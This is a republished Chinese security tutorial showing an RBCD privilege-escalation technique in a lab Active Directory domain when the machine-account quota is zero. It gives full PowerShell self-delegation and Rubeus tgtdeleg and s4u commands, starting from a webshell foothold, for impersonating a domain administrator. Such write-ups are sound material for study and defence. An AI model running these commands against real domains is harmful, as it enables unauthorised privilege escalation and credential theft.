基于资源的约束委派利用攻击介绍二
2022-1-27 16:43:0 Author: mp.weixin.qq.com(查看原文) 阅读量:15 收藏

点击"蓝字"关注,获取更多技术内容!
RBCD常见的攻击手法都是通过添加机器账号,然后设置委派,可参考前文(点击即可访问),那如果域管理员设置了域内默认添加的机器账号的数量为0呢?
修改ms-DS-MachineAccountQuota可以通过ADSI编辑器更改:

也可以通过admod工具更改:
AdMod.exe -b  "dc=rootkit,dc=org" "ms-DS-MachineAccountQuota::0" -updatenchead
最后能看到ms-DS-MachineAccountQuota为0:
尝试利用老方法,能够发现添加机器账号失败了,也是情理之中:
前文(点击即可访问)中有讲到,机器自身和把机器拉入域的域用户都有权限更改机器的msDS-AllowedToActOnBehalfOfOtherIdentity属性,而且还提到,服务账号,如iis、localservice这些,发起网络请求的身份是机器账号:
因此我们可以自己委派自己,把机器的msDS-AllowedToActOnBehalfOfOtherIdentity改为自身机器账号,然后自身机器账号在模拟用户进行委派攻击。
我们模拟一下实战,首先打到了一个内网的webshell,iis apppool权限:
利用ADModule来设置自己委派给自己:
powershell -ep bypass "import-module .\Microsoft.ActiveDirectory.Management.dll;$iis = get-adcomputer SRV-WEB-KIT;set-adcomputer SRV-WEB-KIT -PrincipalsAllowedToDelegateToAccount $iis"
查询委派信息(利用工具:https://github.com/Jumbo-WJB/search_rbcd),设置委派成功:

这时候看过我前文(点击即可访问)的小伙伴会想了:“接下来我会,使用机器账号的凭证发起s4u协议就可以委派了”,确实是可以,但是这里是低权限用户,没法抓密码,也就无法获取机器账号凭证,那应该如何操作呢?

首先利用rubeus通过

AcquireCredentialsHandle、InitializeSecurityContext,以非高权限申请转发票据:

rubeus.exe tgtdeleg /nowrap

利用s4u协议请求票据:
rubeus.exe s4u /user:SRV-WEB-KIT$ /domain:rootkit.org /dc:owa2013.rootkit.org /impersonateuser:administrator /msdsspn:http/SRV-WEB-KIT.rootkit.org /ptt /ticket:doIFLxxxxxxxxxx

最终也成功的利用http spn对该机器进行了提权操作:
powershell -ep bypass "invoke-command -computername SRV-WEB-KIT.rootkit.org -Command {whoami}"

抓密码啥的当然也不在话下:


本文描述了在MAQ为0的情况下的提权手段(当然不止文中的这些手段),可见设置MAQ为0并不能完全的防御住基于资源的约束委派攻击。

实验推荐

大家也可以多在练习中,积累,复制下方链接实操起来吧
https://www.hetianlab.com/expc.do?ec=ECID172.19.104.182014040817061200001&pk_campaign=weixin-wemedia#stu
“阅读原文”体验靶场实操

文章来源: http://mp.weixin.qq.com/s?__biz=MjM5MTYxNjQxOA==&mid=2652885360&idx=1&sn=acd066ce3fc73c288ccd258148083c86&chksm=bd59adbd8a2e24abad645106bc47ac5e74f25f43c95b2e453ea40aa599ab6986b022a8230e21#rd
如有侵权请联系:admin#unsafe.sh